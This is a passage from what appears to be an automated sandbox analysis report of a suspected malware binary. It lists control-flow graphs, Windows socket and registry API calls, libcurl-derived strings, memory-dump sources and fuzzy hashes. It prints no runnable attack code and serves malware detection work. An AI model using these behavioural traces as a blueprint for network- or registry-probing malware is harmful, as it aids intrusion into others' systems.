6cec80 849->887 888 6d9e23-6d9e2c call 6ceac0 849->888 850->772 853->805 867 6d9d9a-6d9db5 call 6ce9f0 call 6ce4a0 856->867 857->818 858->805 858->838 865 6da04e-6da051 860->865 866 6da057-6da070 call 6cebf0 * 2 860->866 861->838 870 6d9ee5-6d9ef2 call 6ce9f0 862->870 865->710 865->866 866->750 900 6d9d75-6d9d82 call 6cec80 867->900 901 6d9db7-6d9dc0 call 6ceac0 867->901 870->695 894 6d9ef8-6d9f0e call 6ce440 870->894 879 6d9c37-6d9c51 call 6ce9f0 871->879 890 6d9c7b-6d9c8f call 6ce7c0 872->890 891 6da011 872->891 879->753 917 6d9c57-6d9c64 call 6ce9d0 879->917 910 6d9df1-6d9e04 call 6ce960 887->910 888->910 890->753 912 6d9c95-6da00e 890->912 891->758 915 6d9f10-6d9f26 call 6ce3c0 894->915 916 6d9ed2-6d9edf call 6ce9e0 894->916 921 6d9d85-6d9d98 call 6ce960 900->921 901->921 910->841 910->849 912->891 915->916 930 6d9f28 915->930 916->695 916->870 917->872 917->879 921->857 921->867 930->710
                                                            APIs
                                                            • RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Services\Tcpip\Parameters,00000000,00020019,?), ref: 006D9946
                                                            • RegQueryValueExA.KERNELBASE(?,DatabasePath,00000000,00000000,?,00000104), ref: 006D9974
                                                            • RegCloseKey.KERNELBASE(?), ref: 006D998B
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1795185194.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true
                                                            • Associated: 00000000.00000002.1795156490.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795649109.0000000000CEC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F83000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F89000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001068000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796064025.0000000001080000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796178628.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796196746.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_610000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: CloseOpenQueryValue
                                                            • String ID: #$#$CARES_HOSTS$DatabasePath$System\CurrentControlSet\Services\Tcpip\Parameters$\hos
                                                            • API String ID: 3677997916-615551945
                                                            • Opcode ID: e0c86361d6be77d12e6a8b958834695c694a51eec528e5b86ee706e81459af57
                                                            • Instruction ID: b486c91030df701e4dfe36e4d39e1460dec941420300f6ef2003a74aaa2e9488
                                                            • Opcode Fuzzy Hash: e0c86361d6be77d12e6a8b958834695c694a51eec528e5b86ee706e81459af57
                                                            • Instruction Fuzzy Hash: BC32A2B5D042016BEB51AB20EC42F6B77EAAF55308F08443DF90996362F732E915C7A7
                                                            Function 00648B50 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 269networkCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 931 648b50-648b69 932 648be6 931->932 933 648b6b-648b74 931->933 934 648be9 932->934 935 648b76-648b8d 933->935 936 648beb-648bf2 933->936 934->936 937 648bf3-648bfe call 64a550 935->937 938 648b8f-648ba7 call 626e40 935->938 943 648de4-648def 937->943 944 648c04-648c08 937->944 945 648bad-648baf 938->945 946 648cd9-648d16 SleepEx getsockopt 938->946 949 648df5-648e19 call 64a150 943->949 950 648e8c-648e95 943->950 951 648dbd-648dc3 944->951 952 648c0e-648c1d 944->952 953 648bb5-648bb9 945->953 954 648ca6-648cb0 945->954 947 648d22 946->947 948 648d18-648d20 946->948 955 648d26-648d39 947->955 948->955 991 648e88 949->991 992 648e1b-648e26 949->992 956 648e97-648e9c 950->956 957 648f00-648f06 950->957 951->934 959 648c35-648c48 call 64a150 952->959 960 648c1f-648c34 connect 952->960 953->936 962 648bbb-648bc2 953->962 954->946 961 648cb2-648cb8 954->961 964 648d43-648d61 call 62d8c0 call 64a150 955->964 965 648d3b-648d3d 955->965 966 648e9e-648eb6 call 622a00 956->966 967 648edf-648eef call 6178b0 956->967 957->936 986 648c4d-648c4f 959->986 960->959 969 648ddc-648dde 961->969 970 648cbe-648cd4 call 64b180 961->970 962->936 971 648bc4-648bcc 962->971 998 648d66-648d74 964->998 965->964 965->969 966->967 990 648eb8-648edd call 623410 * 2 966->990 988 648ef2-648efc 967->988 969->934 969->943 970->943 972 648bd4-648bda 971->972 973 648bce-648bd2 971->973 972->936 979 648bdc-648be1 972->979 973->936 973->972 987 648dac-648db8 call 6550a0 979->987 995 648c51-648c58 986->995 996 648c8e-648c93 986->996 987->936 988->957 990->988 991->950 993 648e2e-648e85 call 62d090 call 654fd0 992->993 994 648e28-648e2c 992->994 993->991 994->991 994->993 995->996 1001 648c5a-648c62 995->1001 1003 648dc8-648dd9 call 64b100 996->1003 1004 648c99-648c9f 996->1004 998->936 1005 648d7a-648d81 998->1005 1008 648c64-648c68 1001->1008 1009 648c6a-648c70 1001->1009 1003->969 1004->954 1005->936 1011 648d87-648d8f 1005->1011 1008->996 1008->1009 1009->996 1014 648c72-648c8b call 6550a0 1009->1014 1016 648d91-648d95 1011->1016 1017 648d9b-648da1 1011->1017 1014->996 1016->936 1016->1017 1017->936 1018 648da7 1017->1018 1018->987
                                                            APIs
                                                            • connect.WS2_32(?,?,00000001), ref: 00648C2F
                                                            • SleepEx.KERNELBASE(00000000,00000000), ref: 00648CF3
                                                            • getsockopt.WS2_32(?,0000FFFF,00001007,00000000,00000004), ref: 00648D0F
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1795185194.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true
                                                            • Associated: 00000000.00000002.1795156490.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795649109.0000000000CEC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F83000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F89000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001068000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796064025.0000000001080000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796178628.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796196746.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_610000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: Sleepconnectgetsockopt
                                                            • String ID: cf-socket.c$connect to %s port %u from %s port %d failed: %s$connected$local address %s port %d...$not connected yet
                                                            • API String ID: 1669343778-879669977
                                                            • Opcode ID: ae775ba42761e59a53a84b981354fcc77af46e78d6d49094883b3686384379b3
                                                            • Instruction ID: 86ad924fb216eb2d79383f04bc2883dac07f56540fa349e4423abff34d13198a
                                                            • Opcode Fuzzy Hash: ae775ba42761e59a53a84b981354fcc77af46e78d6d49094883b3686384379b3
                                                            • Instruction Fuzzy Hash: 37B1D170604706AFEB10CF24C885BAAB7E2AF55318F14856CE8595B3D2DB70EC59CB62
                                                            Function 00612F17 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 144registryCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 1125 612f17-612f8c call a998f0 call a99ce0 1130 6131c9-6131cd 1125->1130 1131 612f91-612ff4 call 611619 RegOpenKeyExA 1130->1131 1132 6131d3-6131d6 1130->1132 1135 6131c5 1131->1135 1136 612ffa-61300b 1131->1136 1135->1130 1137 61315c-6131ac RegEnumKeyExA 1136->1137 1138 613010-613083 call 611619 RegOpenKeyExA 1137->1138 1139 6131b2-6131c2 1137->1139 1143 613089-6130d4 RegQueryValueExA 1138->1143 1144 61314e-613152 1138->1144 1139->1135 1145 6130d6-613137 call a99bc0 call a99c50 call a99ce0 call a99af0 call a99ce0 call a98050 1143->1145 1146 61313b-61314b RegCloseKey 1143->1146 1144->1137 1145->1146 1146->1144
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1795185194.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true
                                                            • Associated: 00000000.00000002.1795156490.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795649109.0000000000CEC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F83000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F89000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001068000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796064025.0000000001080000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796178628.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796196746.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_610000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: EnumOpen
                                                            • String ID: d
                                                            • API String ID: 3231578192-2564639436
                                                            • Opcode ID: 9fbd5c7d2d72d0f7877085043ec052f1f003c8a589df7d643ac4b691fcb2c7cd
                                                            • Instruction ID: 4266a1701fe9541eb9a764fbf9d4109ad650ddc50f837f8ac82f119d524f94c7
                                                            • Opcode Fuzzy Hash: 9fbd5c7d2d72d0f7877085043ec052f1f003c8a589df7d643ac4b691fcb2c7cd
                                                            • Instruction Fuzzy Hash: 0F71A5B490431A9FDB50EF69C58579EBBF0BF84308F1089ADE49897311D7749A88CF92
                                                            Function 006176A0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 73networkCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 1159 6176a0-6176be 1160 6176c0-6176c7 1159->1160 1161 6176e6-6176f2 send 1159->1161 1160->1161 1162 6176c9-6176d1 1160->1162 1163 6176f4-617709 call 6172a0 1161->1163 1164 61775e-617762 1161->1164 1165 6176d3-6176e4 1162->1165 1166 61770b-617759 call 6172a0 call 61cb20 call 998c50 1162->1166 1163->1164 1165->1163 1166->1164
                                                            APIs
                                                            • send.WS2_32(multi.c,?,?,?,N=a,00000000,?,?,006207BF), ref: 006176EA
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1795185194.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true
                                                            • Associated: 00000000.00000002.1795156490.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795649109.0000000000CEC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F83000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F89000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001068000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796064025.0000000001080000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796178628.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796196746.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_610000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: send
                                                            • String ID: LIMIT %s:%d %s reached memlimit$N=a$SEND %s:%d send(%lu) = %ld$multi.c$send
                                                            • API String ID: 2809346765-1726958484
                                                            • Opcode ID: 808dee8cd7553e023147856f488ada9fcce759fbc41d8b7202f2c53052e42386
                                                            • Instruction ID: 177a3cb4b5e97fa104057301c5d13f285e6a3566cd6cacfcc56b702564e13571
                                                            • Opcode Fuzzy Hash: 808dee8cd7553e023147856f488ada9fcce759fbc41d8b7202f2c53052e42386
                                                            • Instruction Fuzzy Hash: D81150B0A093447BD120A714AC8AF7B3BADDBC2B28F090958B804673A2D6619D40C7F2
                                                            Function 00649290 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 146networkCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 1278 649290-6492ed call 6176a0 1281 6493c3-6493ce 1278->1281 1282 6492f3-6492fb 1278->1282 1291 6493e5-649427 call 62d090 call 654f40 1281->1291 1292 6493d0-6493e1 1281->1292 1283 649301-649333 call 62d8c0 call 62d9a0 1282->1283 1284 6493aa-6493af 1282->1284 1303 649335-649364 WSAIoctl 1283->1303 1304 6493a7 1283->1304 1285 6493b5-6493bc 1284->1285 1286 649456-649470 1284->1286 1289 6493be 1285->1289 1290 649429-649431 1285->1290 1289->1286 1297 649433-649437 1290->1297 1298 649439-64943f 1290->1298 1291->1286 1291->1290 1292->1285 1294 6493e3 1292->1294 1294->1286 1297->1286 1297->1298 1298->1286 1299 649441-649453 call 6550a0 1298->1299 1299->1286 1307 649366-64936f 1303->1307 1308 64939b-6493a4 1303->1308 1304->1284 1307->1308 1310 649371-649390 setsockopt 1307->1310 1308->1304 1310->1308 1311 649392-649395 1310->1311 1311->1308
                                                            APIs
                                                            • WSAIoctl.WS2_32(?,4004747B,00000000,00000000,?,00000004,?,00000000,00000000), ref: 0064935D
                                                            • setsockopt.WS2_32(?,0000FFFF,00001001,00000000,00000004,?,00000004,?,00000000,00000000), ref: 00649389
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1795185194.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true
                                                            • Associated: 00000000.00000002.1795156490.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795649109.0000000000CEC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F83000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F89000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001068000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796064025.0000000001080000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796178628.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796196746.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_610000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: Ioctlsetsockopt
                                                            • String ID: Send failure: %s$cf-socket.c$send(len=%zu) -> %d, err=%d
                                                            • API String ID: 1903391676-2691795271
                                                            • Opcode ID: 96032b3098f9bb061b559a6347467273e215dca7eb6492df6099f9558167d592
                                                            • Instruction ID: 58679deb9edba16c4cc6fdc17ceb435f6fcd4381d4e3f2684609117b587d1764
                                                            • Opcode Fuzzy Hash: 96032b3098f9bb061b559a6347467273e215dca7eb6492df6099f9558167d592
                                                            • Instruction Fuzzy Hash: 6651D370600305ABEB11DF24C881FAB77A6FF85314F148569FD489B392E730E991CBA1
                                                            Function 006175E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66networkCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 1331 6175e0-6175ed 1332 617607-617629 socket 1331->1332 1333 6175ef-6175f6 1331->1333 1334 61762b-61763c call 6172a0 1332->1334 1335 61763f-617642 1332->1335 1333->1332 1336 6175f8-6175ff 1333->1336 1334->1335 1337 617601-617602 1336->1337 1338 617643-617699 call 6172a0 call 61cb20 call 998c50 1336->1338 1337->1332
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1795185194.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true
                                                            • Associated: 00000000.00000002.1795156490.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795649109.0000000000CEC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F83000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F89000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001068000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796064025.0000000001080000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796178628.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796196746.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_610000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: socket
                                                            • String ID: FD %s:%d socket() = %d$LIMIT %s:%d %s reached memlimit$socket
                                                            • API String ID: 98920635-842387772
                                                            • Opcode ID: 78b80588c6e6e2ecba880c96ec15c70c35710027793af246a8a73366515c5e8f
                                                            • Instruction ID: 7e6e1715c1c3b65f732902fa99a518f23fb34b05196edbeb5b96741aa7374ce8
                                                            • Opcode Fuzzy Hash: 78b80588c6e6e2ecba880c96ec15c70c35710027793af246a8a73366515c5e8f
                                                            • Instruction Fuzzy Hash: A6112975A0429277D6206A28AC5AFEB3FA9DBC2725F480964F414D72F2D3219994C3E1
                                                            Function 0064A150 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 80COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 1544 64a150-64a159 1545 64a250 1544->1545 1546 64a15f-64a17b 1544->1546 1547 64a181-64a1ce getsockname 1546->1547 1548 64a249-64a24f 1546->1548 1549 64a1f7-64a214 call 64ef30 1547->1549 1550 64a1d0-64a1f5 call 62d090 1547->1550 1548->1545 1549->1548 1554 64a216-64a23b call 62d090 1549->1554 1558 64a240-64a246 call 654f40 1550->1558 1554->1558 1558->1548
                                                            APIs
                                                            • getsockname.WS2_32(?,?,00000080), ref: 0064A1C6
                                                            Strings
                                                            • ssloc inet_ntop() failed with errno %d: %s, xrefs: 0064A23B
                                                            • getsockname() failed with errno %d: %s, xrefs: 0064A1F0
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1795185194.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true
                                                            • Associated: 00000000.00000002.1795156490.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795649109.0000000000CEC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F83000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F89000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001068000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796064025.0000000001080000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796178628.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796196746.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_610000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: getsockname
                                                            • String ID: getsockname() failed with errno %d: %s$ssloc inet_ntop() failed with errno %d: %s
                                                            • API String ID: 3358416759-2605427207
                                                            • Opcode ID: e4dc700cf8ee808f0c842a9aa46f0ecd6b7b1a1e17f39fce09076257562727a2
                                                            • Instruction ID: 63e73bf83ecf6a63fb9e2643330e1482a94637dea52042211a691b11ae559b72
                                                            • Opcode Fuzzy Hash: e4dc700cf8ee808f0c842a9aa46f0ecd6b7b1a1e17f39fce09076257562727a2
                                                            • Instruction Fuzzy Hash: C821EC71848680B6F7259B58DC42FE773BDEF81324F040654F99853151FE725A8587E3
                                                            Function 0062D5E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46networkCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 1564 62d5e0-62d5ee 1565 62d652-62d662 WSAStartup 1564->1565 1566 62d5f0-62d604 call 62d690 1564->1566 1568 62d670-62d676 1565->1568 1569 62d664-62d66f 1565->1569 1572 62d606-62d614 1566->1572 1573 62d61b-62d651 call 637620 1566->1573 1568->1566 1570 62d67c-62d68d 1568->1570 1572->1573 1578 62d616 1572->1578 1578->1573
                                                            APIs
                                                            • WSAStartup.WS2_32(00000202), ref: 0062D65B
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1795185194.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true
                                                            • Associated: 00000000.00000002.1795156490.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795649109.0000000000CEC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F83000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F89000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001068000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796064025.0000000001080000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796178628.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796196746.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_610000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: Startup
                                                            • String ID: if_nametoindex$iphlpapi.dll
                                                            • API String ID: 724789610-3097795196
                                                            • Opcode ID: 73d845bcde0cec4b498fc422f226ffa0d5087556c5929de9b7597490c44c08b3
